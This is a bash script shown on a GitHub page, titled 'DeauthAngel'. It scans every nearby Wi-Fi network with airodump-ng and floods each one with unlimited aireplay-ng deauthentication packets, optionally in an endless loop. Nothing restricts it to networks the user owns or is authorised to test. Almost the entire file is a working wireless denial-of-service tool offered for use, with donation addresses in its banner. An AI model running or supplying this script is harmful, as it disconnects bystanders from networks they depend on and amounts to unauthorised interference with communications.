-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathdeauthangel.sh
120 lines (104 loc) · 3.62 KB
/
deauthangel.sh
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
#!/bin/bash
# ASCII Art and Header
cat << 'EOF'
========================================================
_____ _ _ _
| __ \ | | | | /\ | |
| | | | ___ __ _ _ _| |_| |__ / \ _ __ __ _ ___| |
| | | |/ _ \/ _` | | | | __| '_ \ / /\ \ | '_ \ / _` |/ _ \ |
| |__| | __/ (_| | |_| | |_| | | |/ ____ \| | | | (_| | __/ |
|_____/ \___|\__,_|\__,_|\__ |_| |_| |_| |_|___ |_|
__/ |
|___/
========================================================
Created by: Corvus Codex
Github: https://github.com/CorvusCodex/
Licence: MIT License
Support my work:
BTC: bc1q7wth254atug2p4v9j3krk9kauc0ehys2u8tgg3
ETH & BNB: 0x68B6D33Ad1A3e0aFaDA60d6ADf8594601BE492F0
Buy me a coffee: https://www.buymeacoffee.com/CorvusCodex
========================================================
EOF
# Function to check if a command exists
command_exists() {
command -v "$1" >/dev/null 2>&1
}
# Function to install a package
install_package() {
local pkg=$1
if ! command_exists "$pkg"; then
echo "$pkg could not be found, would you like to install it now? (yes/no)"
read -r answer
if [[ "$answer" =~ ^[Yy](es)?$ ]]; then
echo "Installing $pkg..."
if ! apt-get install "$pkg" -y; then
echo "Error: Failed to install $pkg"
exit 1
fi
else
echo "Error: $pkg is required to run this script"
exit 1
fi
fi
}
# Check if script is run as root
if [[ $EUID -ne 0 ]]; then
echo "Error: Please run as root"
exit 1
fi
# Check if wireless interface is specified
if [[ -z $1 ]]; then
echo "Error: Please specify a wireless interface"
echo "Usage: $0 <interface> [loop]"
exit 1
fi
INTERFACE=$1
LOOP=false
[[ "$2" == "loop" ]] && LOOP=true
# Check and install required tools
for tool in airmon-ng airodump-ng aireplay-ng; do
install_package "$tool"
done
# Start monitor mode
echo "Starting monitor mode on $INTERFACE..."
if ! airmon-ng start "$INTERFACE" >/dev/null 2>&1; then
echo "Error: Failed to start monitor mode on $INTERFACE"
exit 1
fi
# Main loop
while true; do
echo "Scanning networks..."
# Scan networks and save output
if ! airodump-ng "${INTERFACE}mon" -w networks --output-format csv >/dev/null 2>&1; then
echo "Error: Network scanning failed"
airmon-ng stop "${INTERFACE}mon" >/dev/null 2>&1
exit 1
fi
# Parse BSSIDs from CSV
bssids=$(awk -F',' '/Station MAC/ {exit} NR>2 {print $1}' networks-01.csv | grep -v "^$")
if [[ -z $bssids ]]; then
echo "No networks found"
else
echo "Found networks, sending deauthentication packets..."
for bssid in $bssids; do
echo "Deauthenticating $bssid..."
aireplay-ng --deauth 0 -a "$bssid" "${INTERFACE}mon" >/dev/null 2>&1 &
done
wait # Wait for all background processes to complete
fi
# Clean up temporary files
rm -f networks-01.csv
# Exit if not in loop mode
$LOOP || break
sleep 5 # Add delay between scans
done
# Cleanup
airmon-ng stop "${INTERFACE}mon" >/dev/null 2>&1
# Footer
cat << 'EOF'
========================================================
Script executed successfully
Buy me a coffee: https://www.buymeacoffee.com/CorvusCodex
========================================================
EOF